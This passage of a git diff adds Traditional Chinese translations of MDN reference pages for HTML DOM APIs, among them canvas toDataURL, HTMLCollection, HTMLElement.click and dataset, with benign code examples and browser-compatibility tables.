+<p><strong><code>HTMLCanvasElement.toDataURL()</code></strong> 方法回傳含有圖像和參數設置特定格式的 <a href="/en-US/docs/Web/HTTP/data_URIs">data URIs</a> (預設 <a href="https://en.wikipedia.org/wiki/Portable_Network_Graphics">PNG</a>). 回傳的圖像解析度為 96 dpi.</p>
+
+<ul>
+ <li>如果 canvas 的高度或是寬度為 <code>0</code>, 將會回傳字串 <code>"data:,"</code>.</li>
+ <li>如果要求的圖像類型並非 <code>image/png</code>, 但是回傳的類型卻是 <code>data:image/png</code>, 表示要求的圖像類型並不支援.</li>
+ <li>Chrome 也支援 <code>image/webp</code> 類型.</li>
+</ul>
+
+<h2 id="Syntax" name="Syntax">表達式</h2>
+
+<pre class="syntaxbox"><var><em>canvas</em>.toDataURL(<em>type</em>, <em>encoderOptions</em>);</var>
+</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>type</code> {{optional_inline}}</dt>
+ <dd>圖像格式的 {{domxref("DOMString")}}. 預設為 <code>image/png</code>.</dd>
+ <dt><code>encoderOptions</code> {{optional_inline}}</dt>
+ <dd><code>表示 image/jpeg 或是 image/webp 的圖像品質, 為0</code> 到 <code>1</code> 之間的 {{jsxref("Number")}}.<br>
+ 如果值不在上述範圍中, 將會使用預設值. 其他的會忽略.</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>包含 <a href="/en-US/docs/Web/HTTP/data_URIs">data URI</a> 的 {{domxref("DOMString")}}.</p>
+
+<h2 id="範例">範例</h2>
+
+<p>創建 {{HTMLElement("canvas")}} 元素:</p>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="5" height="5"&gt;&lt;/canvas&gt;
+</pre>
+
+<p>可以使用下面的方式獲取 data-URL:</p>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var dataURL = canvas.toDataURL();
+console.log(dataURL);
+// "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNby
+// blAAAADElEQVQImWNgoBMAAABpAAFEI8ARAAAAAElFTkSuQmCC"
+</pre>
+
+<h3 id="設置圖像的品質">設置圖像的品質</h3>
+
+<pre class="brush: js">var fullQuality = canvas.toDataURL("image/jpeg", 1.0);
+// data:image/jpeg;base64,/9j/4AAQSkZJRgABAQ...9oADAMBAAIRAxEAPwD/AD/6AP/Z"
+var mediumQuality = canvas.toDataURL("image/jpeg", 0.5);
+var lowQuality = canvas.toDataURL("image/jpeg", 0.1);
+</pre>
+
+<h3 id="Example:_Dynamically_change_images" name="Example:_Dynamically_change_images">範例: 動態改變圖像</h3>
+
+<p>為了動態改變圖像, 可以與滑鼠事件一起使用 (gray-scale versus color in this example):</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;img class="grayscale" src="myPicture.png" alt="Description of my picture" /&gt;</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js;highlight:[33]">window.addEventListener("load", removeColors);
+
+function showColorImg() {
+  this.style.display = "none";
+  this.nextSibling.style.display = "inline";
+}
+
+function showGrayImg() {
+  this.previousSibling.style.display = "inline";
+  this.style.display = "none";
+}
+
+function removeColors() {
+  var aImages = document.getElementsByClassName("grayscale"),
+      nImgsLen = aImages.length,
+      oCanvas = document.createElement("canvas"),
+      oCtx = oCanvas.getContext("2d");
+  for (var nWidth, nHeight, oImgData, oGrayImg, nPixel, aPix, nPixLen, nImgId = 0; nImgId &lt; nImgsLen; nImgId++) {
+    oColorImg = aImages[nImgId];
+    nWidth = oColorImg.offsetWidth;
+    nHeight = oColorImg.offsetHeight;
+    oCanvas.width = nWidth;
+    oCanvas.height = nHeight;
+    oCtx.drawImage(oColorImg, 0, 0);
+    oImgData = oCtx.getImageData(0, 0, nWidth, nHeight);
+    aPix = oImgData.data;
+    nPixLen = aPix.length;
+    for (nPixel = 0; nPixel &lt; nPixLen; nPixel += 4) {
+      aPix[nPixel + 2] = aPix[nPixel + 1] = aPix[nPixel] = (aPix[nPixel] + aPix[nPixel + 1] + aPix[nPixel + 2]) / 3;
+    }
+    oCtx.putImageData(oImgData, 0, 0);
+    oGrayImg = new Image();
+    oGrayImg.src = oCanvas.toDataURL();
+    oGrayImg.onmouseover = showColorImg;
+    oColorImg.onmouseout = showGrayImg;
+    oCtx.clearRect(0, 0, nWidth, nHeight);
+    oColorImg.style.display = "none";
+    oColorImg.parentNode.insertBefore(oGrayImg, oColorImg);
+  }
+}</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-canvas-todataurl", "HTMLCanvasElement.toDataURL")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change since the latest snapshot, {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "scripting-1.html#dom-canvas-todataurl", "HTMLCanvasElement.toDataURL")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "scripting-1.html#dom-canvas-todataurl", "HTMLCanvasElement.toDataURL")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of the {{SpecName('HTML WHATWG')}} containing the initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatChrome(4) }}</td>
+   <td>{{ CompatGeckoDesktop("1.9.2") }}</td>
+   <td>{{ CompatIE(9) }}</td>
+   <td>{{ CompatOpera(9) }}</td>
+   <td>{{ CompatSafari(4.0) }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatAndroid(3.2) }}</td>
+   <td>{{ CompatAndroid(18) }}</td>
+   <td>{{ CompatGeckoMobile("1.9.2") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatOpera(19) }}</td>
+   <td><span style="font-size: 12px; line-height: 18px;">{{ CompatSafari(3.0) }}</span></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_Also" name="See_Also">參見</h2>
+
+<ul>
+ <li>The interface defining it, {{domxref("HTMLCanvasElement")}}.</li>
+ <li><a href="/en-US/docs/Web/HTTP/data_URIs">Data URIs</a> in the <a href="/en-US/docs/Web/HTTP">HTTP</a> reference.</li>
+</ul>
diff --git a/files/zh-tw/web/api/htmlcollection/index.html b/files/zh-tw/web/api/htmlcollection/index.html
new file mode 100644
index 0000000000..dac516a65b
--- /dev/null
+++ b/files/zh-tw/web/api/htmlcollection/index.html
@@ -0,0 +1,95 @@
+---
+title: HTMLCollection
+slug: Web/API/HTMLCollection
+translation_of: Web/API/HTMLCollection
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p><strong><code>HTMLCollection</code></strong> 介面表示了一種成員為 {{domxref("Element")}} 物件的通用集合（如 <a href="/zh-TW/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a> 一般的類陣列，成員順序同元素在文件中的順序），並提供了可用來選取集合成員的方法與屬性。</p>
+
+<div class="note"><strong>Note:</strong> This interface is called <code>HTMLCollection</code> for historical reasons (before DOM4, collections implementing this interface could only have HTML elements as their items).</div>
+
+<p><code>HTMLCollection</code> 物件對 HTML DOM 而言具有即時性（live），如果底層的文件（<code>document</code> 物件）發生改變，<code>HTMLCollection</code> 物件會自動更新至最新的狀態。</p>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt>{{domxref("HTMLCollection.length")}} {{readonlyInline}}</dt>
+ <dd>Returns the number of items in the collection.</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<dl>
+ <dt>{{domxref("HTMLCollection.item()")}}</dt>
+ <dd>Returns the specific node at the given zero-based <code>index</code> into the list. Returns <code>null</code> if the <code>index</code> is out of range.</dd>
+ <dt>{{domxref("HTMLCollection.namedItem()")}}</dt>
+ <dd>Returns the specific node whose ID or, as a fallback, name matches the string specified by <code>name</code>. Matching by name is only done as a last resort, only in HTML, and only if the referenced element supports the <code>name</code> attribute. Returns <code>null</code> if no node exists by the given name.</dd>
+</dl>
+
+<h2 id="Usage_in_JavaScript">Usage in JavaScript</h2>
+
+<p><code>HTMLCollection also</code> exposes its members directly as properties by both name and index. HTML IDs may contain : and . as valid characters, which would necessitate using bracket notation for property access. Currently HTMLCollections does not recognize purely numeric IDs, which would cause conflict with the array-style access, though HTML5 does permit these.</p>
+
+<p>For example, assuming there is one <code>&lt;form&gt;</code> element in the document and its <code>id</code> is <code>"myForm"</code>:</p>
+
+<pre class="brush:js">var elem1, elem2;
+
+// document.forms is an HTMLCollection
+
+elem1 = document.forms[0];
+elem2 = document.forms.item(0);
+
+alert(elem1 === elem2); // shows: "true"
+
+elem1 = document.forms.myForm;
+elem2 = document.forms.namedItem("myForm");
+
+alert(elem1 === elem2); // shows: "true"
+
+elem1 = document.forms["named.item.with.periods"];</pre>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>Different browsers behave differently when there are more than one elements matching the string used as an index (or <code>namedItem</code>'s argument). Firefox 8 behaves as specified in DOM 2 and DOM4, returning the first matching element. WebKit browsers and Internet Explorer in this case return another <code>HTMLCollection</code> and Opera returns a {{domxref("NodeList")}} of all matching elements.</p>
+
+<h2 id="Specifications" name="Specifications">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#htmlcollection', 'HTMLCollection')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4', '#htmlcollection', 'HTMLCollection')}}</td>
+   <td>{{ Spec2('DOM4') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-75708506', 'HTMLCollection')}}</td>
+   <td>{{ Spec2('DOM2 HTML') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-75708506', 'HTMLCollection')}}</td>
+   <td>{{ Spec2('DOM1') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{domxref("NodeList")}}</li>
+ <li>{{domxref("HTMLFormControlsCollection")}}, {{domxref("HTMLOptionsCollection")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/htmldataelement/index.html b/files/zh-tw/web/api/htmldataelement/index.html
new file mode 100644
index 0000000000..56e15b834d
--- /dev/null
+++ b/files/zh-tw/web/api/htmldataelement/index.html
@@ -0,0 +1,59 @@
+---
+title: HTMLDataElement
+slug: Web/API/HTMLDataElement
+translation_of: Web/API/HTMLDataElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>The <strong><code>HTMLDataElement</code></strong> interface provides special properties (beyond the regular {{domxref("HTMLElement")}} interface it also has available to it by inheritance) for manipulating {{HTMLElement("data")}} elements.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="屬性">屬性</h2>
+
+<p><em>從它的父繼承屬性, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLDataElement.value")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} reflecting the {{htmlattrxref("value", "data")}} HTML attribute, containing a machine-readable form of the element's value.</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<p><em>無具體的方法; 從它的父繼承, {{domxref("HTMLElement")}}.</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#htmldataelement", "HTMLDataElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-data-element', 'HTMLDataElement')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.HTMLDataElement")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The HTML element implementing this interface: {{HTMLElement("data")}}.</li>
+</ul>
diff --git a/files/zh-tw/web/api/htmldocument/index.html b/files/zh-tw/web/api/htmldocument/index.html
new file mode 100644
index 0000000000..7317d54508
--- /dev/null
+++ b/files/zh-tw/web/api/htmldocument/index.html
@@ -0,0 +1,16 @@
+---
+title: HTMLDocument
+slug: Web/API/HTMLDocument
+translation_of: Web/API/HTMLDocument
+---
+<p>{{ APIRef("HTML DOM") }}</p>
+
+<p><strong><code>HTMLDocument</code></strong> 是一個關於 {{domxref("Document_Object_Model", "DOM")}} 的抽象介面，提供了 {{domxref("Document")}} 定義之外的 XML 文件屬性及方法，以用來操作 HTML。</p>
+
+<p><code>window.document</code> 為 <code>HTMLDocument</code> 的物件實體，<code>HTMLDocument</code> 所有屬性與方法的說明已包含在 <code>Document</code> 頁面。由於現在的 <code>HTMLDocument</code> 是透過了綁定轉型（binding-specific casting）的方式來運作，所以 <code>HTMLDocument</code> 已不再是繼承 <code>Document</code>。</p>
+
+<h2 id="規範">規範</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268" rel="freelink">http://www.w3.org/TR/DOM-Level-2-HTM...ml#ID-26809268</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/htmlelement/click/index.html b/files/zh-tw/web/api/htmlelement/click/index.html
new file mode 100644
index 0000000000..123206ca2f
--- /dev/null
+++ b/files/zh-tw/web/api/htmlelement/click/index.html
@@ -0,0 +1,115 @@
+---
+title: HTMLElement.click()
+slug: Web/API/HTMLElement/click
+translation_of: Web/API/HTMLElement/click
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<p><code><strong>HTMLElement.click()</strong></code> 方法可以模擬滑鼠點擊一個元素。</p>
+
+<p>當 <code>click()</code> 被使用在支援的元素（例如任一 {{HTMLElement("input")}} 元素），便會觸發該元素的點擊事件。事件會冒泡至 document tree（或 event chain）的上層元素，並觸發它們的點擊事件。其中的例外是：<code>click()</code> 方法不會讓 {{HTMLElement("a")}} 元素和接收到真實滑鼠點擊一樣進行頁面跳轉。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><em>elt</em>.click()</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-2651361')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>20<sup>[3]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>5<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[2]</sup></td>
+   <td>6<sup>[3]</sup></td>
+  </tr>
+  <tr>
+   <td><code>input@file (limited)</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>12.10</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>input@file (full)</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Prior to Gecko 5.0 {{geckoRelease("5.0")}}, Gecko would not implement the <code>click()</code> method on other elements that might be expected to respond to mouse clicks, such as links ({{HTMLElement("a")}} elements), nor would it necessarily fire the click event of other elements.</p>
+
+<p>[2] In Presto-based versions of Opera, the <code>click()</code> method will be silently ignored if made on an {{HTMLElement("input")}} with its <strong><code>type</code> </strong>attribute set to <code>file</code> and its <a href="/en-US/docs/Web/CSS">CSS</a> {{cssxref('display')}} property set to <code>none</code>.</p>
+
+<p>[3] Older versions had <code>HTMLInputElement.click()</code>, and <code>HTMLButtonElement.click()</code> only.</p>
diff --git a/files/zh-tw/web/api/htmlelement/dataset/index.html b/files/zh-tw/web/api/htmlelement/dataset/index.html
new file mode 100644
index 0000000000..690f8e1189
--- /dev/null
+++ b/files/zh-tw/web/api/htmlelement/dataset/index.html
@@ -0,0 +1,167 @@
+---
+title: HTMLElement.dataset
+slug: Web/API/HTMLElement/dataset
+translation_of: Web/API/HTMLOrForeignElement/dataset
+---
+<p>{{ APIRef("HTML DOM") }}</p>
+
+<p><code><strong>HTMLElement.dataset</strong></code> 允許在讀取與寫入模式時使用HTML或DOM裡，所有設置在元件上的<a href="/en/HTML/Global_attributes#attr-data-*" title="https://developer.mozilla.org/en/HTML/Global_attributes#attr-data-*">自定義資料屬性</a>(<em>data-*</em>)。他是一個<a href="/en/DOM/DOMStringMap" title="en/DOM/DOMStringMap">DOMStringMap</a>,每個項目表示一個不同的資料屬性。須注意的是，資料集(dataset)可以被讀取，但不能直接被修改。所有修改必須經由其眾多"屬性"才行，也就是資料屬性。另外，雖然HTML <code><strong>data-</strong></code> 屬性與它相關的 DOM <code><strong>dataset.</strong></code> 名稱不同，但是他們總是有相似之處： </p>
+
+<ul>
+ <li>HTML裡的自定義資料屬性名稱開頭為<code>data-</code> 。後面則只接受字母、數字還有以下的符號: dash (<code>-</code>), 點 (<code>.</code>), 冒號 (<code>:</code>), 底線(<code>_</code>) -- 但不包含任何ASCII 大寫字母(A 到 Z)。</li>
+ <li>Javascript 裡的自定義資料屬性和HTML裡的一樣，只是命名規則採camelCase，且不含dash,點等上述所提的符號。</li>
+</ul>
+
+<p>除了以下的資訊之外，你也可以在 <a href="/en-US/docs/Learn/HTML/Howto/Use_data_attributes">Using data attributes.</a>此篇文章找到使用HTML資料屬性的用法。</p>
+
+<h3 id="名稱變換">名稱變換</h3>
+
+<p> </p>
+
+<p>dash-style 到 camelCase: 將自訂義的資料屬性名稱變換至{{ domxref("DOMStringMap") }}各項目的key值，需根據以下規則：</p>
+
+<ul>
+ <li>移除前綴<code>data-</code>(包含dash)。</li>
+ <li>任何後面接ASCII小寫a到z的dash(<code>U+002D</code>)都要被移除，接在後面的字母被換成相對應的大寫字母。</li>
+ <li>其他字元(包含其他dashes)都保持不變。</li>
+</ul>
+
+<p>camelCase 到 dash-style: 與上述相反，將key值轉為資料屬性名稱，需根據以下規則：</p>
+
+<ul>
+ <li>限制: dash 不能馬上接任何ASCII小寫字母a到z(在轉換之前)。</li>
+ <li>加上前綴字 <code>data-</code> 。</li>
+ <li>任何ASCII大寫字母A到Z變成dash加上其相對應的小寫字母。</li>
+ <li>其他字元都保持不變。</li>
+</ul>
+
+<p>上面所提的限制是為了確保兩個轉換方法互為相反。</p>
+
+<p>舉例來說，資料屬性名稱 <code>data-abc-def</code> 之對應key值為<code>abcDef</code>。</p>
+
+<p> </p>
+
+<h3 id="存取數值">存取數值</h3>
+
+<ul>
+ <li>資料屬性可以藉由camelCase名稱(key)像dataset物件屬性的方式設定或讀取，如element.dataset.keyname。</li>
+ <li>資料屬性也可以經由物件屬性[]語法的方式設定或讀取，如 <em>element.</em>dataset[<em>keyname</em>]。</li>
+</ul>
+
+<h2 id="語法">語法</h2>
+
+<ul>
+ <li><em>string</em> = <em>element</em>.<strong>dataset</strong>.<em>camelCasedName</em>;</li>
+ <li><em>element.</em><strong>dataset</strong>.<em>camelCasedName</em> = <em>string</em>;</li>
+ <br>
+ <li><em>string</em> = <em>element</em>.<strong>dataset</strong>[<em>camelCasedName</em>];</li>
+ <li><em>element</em>.<strong>dataset</strong>[<em>camelCasedName</em>] = <em>string</em>;</li>
+ <br>
+ <li><em>自定的data屬性也可以直接從HTML設定，但是屬性名稱必須使用上述中的data- 語法。 </em></li>
+</ul>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: js">&lt;div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth&gt;John Doe&lt;/div&gt;
+
+let el = document.querySelector('#user');
+
+// el.id == 'user'
+// el.dataset.id === '1234567890'
+// el.dataset.user === 'johndoe'
+// el.dataset.dateOfBirth === ''
+
+el.dataset.dateOfBirth = '1960-10-03'; // 設定 DOB.
+
+// 'someDataAttr' in el.dataset === false
+el.dataset.someDataAttr = 'mydata';
+// 'someDataAttr' in el.dataset === true
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">備註</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "dom.html#dom-dataset", "HTMLElement.dataset")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "dom.html#dom-dataset", "HTMLElement.dataset")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}}, no change from {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "dom.html#dom-dataset", "HTMLElement.dataset")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of  {{SpecName('HTML WHATWG')}}, initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>功能</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>基本支援</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("6.0") }}</td>
+   <td>11</td>
+   <td>11.10</td>
+   <td>6</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>功能</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>基本支援</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(6)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>The HTML <a href="/en-US/docs/Web/HTML/Global_attributes/data-*"><strong>data-*</strong></a> class of global attributes.</li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Use_data_attributes">Using data attributes</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/htmlelement/index.html b/files/zh-tw/web/api/htmlelement/index.html
new file mode 100644
index 0000000000..f0b3eb55e0
--- /dev/null
+++ b/files/zh-tw/web/api/htmlelement/index.html
@@ -0,0 +1,447 @@
+---
+title: HTMLElement
+slug: Web/API/HTMLElement
+translation_of: Web/API/HTMLElement
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<div> </div>
+
+<p><strong><code>HTMLElement</code></strong> 介面表示了所有的 <a href="/docs/Web/HTML" title="/zh-TW/docs/Web/HTML">HTML</a> 元素。部分元素直接實作了此介面，其它則是實作繼承自 <code>HTMLElement</code> 的子介面。</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="屬性">屬性</h2>
+
+<p><em>Inherits properties from its parent, {{domxref("Element")}}, and implements those from {{domxref("GlobalEventHandlers")}} and {{domxref("TouchEventHandlers")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLElement.accessKey")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the access key assigned to the element.</dd>
+ <dt>{{domxref("HTMLElement.accessKeyLabel")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} containing the element's assigned access key.</dd>
+ <dt>{{domxref("HTMLElement.contentEditable")}}</dt>
+ <dd>Is a {{domxref("DOMString")}}, where a value of <code>"true"</code> means the element is editable and a value of <code>"false"</code> means it isn't.</dd>
+ <dt>{{domxref("HTMLElement.isContentEditable")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Boolean")}} that indicates whether or not the content of the element can be edited.</dd>
+ <dt>{{domxref("HTMLElement.contextMenu")}}</dt>
+ <dd>Is a {{domxref("HTMLMenuElement")}} representing the contextual menu associated with the element. It may be <code>null</code>.</dd>
+ <dt>{{domxref("HTMLElement.dataset")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMStringMap")}} with which script can read and write the element's <a href="/en-US/docs/Web/Guide/HTML/Using_data_attributes">custom data attributes</a> (<code>data-*</code>) .</dd>
+ <dt>{{domxref("HTMLElement.dir")}}</dt>
+ <dd>Is a {{domxref("DOMString")}}, reflecting the <code>dir</code> global attribute, representing the directionality of the element. Possible values are <code>"ltr"</code>, <code>"rtl"</code>, and <code>"auto"</code>.</dd>
+ <dt>{{domxref("HTMLElement.draggable")}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} indicating if the element can be dragged.</dd>
+ <dt>{{domxref("HTMLElement.dropzone")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMSettableTokenList")}} reflecting the <code>dropzone</code> global attribute and describing the behavior of the element regarding a drop operation.</dd>
+ <dt>{{domxref("HTMLElement.hidden")}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} indicating if the element is hidden or not.</dd>
+ <dt>{{domxref("HTMLElement.itemScope")}} {{experimental_inline}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} representing the item scope.</dd>
+ <dt>{{domxref("HTMLElement.itemType")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a {{domxref("DOMSettableTokenList")}}…</dd>
+ <dt>{{domxref("HTMLElement.itemId")}} {{experimental_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the item ID.</dd>
+ <dt>{{domxref("HTMLElement.itemRef")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a {{domxref("DOMSettableTokenList")}}…</dd>
+ <dt>{{domxref("HTMLElement.itemProp")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a {{domxref("DOMSettableTokenList")}}…</dd>
+ <dt>{{domxref("HTMLElement.itemValue")}} {{experimental_inline}}</dt>
+ <dd>Returns a {{jsxref("Object")}} representing the item value.</dd>
+ <dt>{{domxref("HTMLElement.lang")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the language of an element's attributes, text, and element contents.</dd>
+ <dt>{{domxref("HTMLElement.offsetHeight")}} {{readonlyInline}}{{experimental_inline}}</dt>
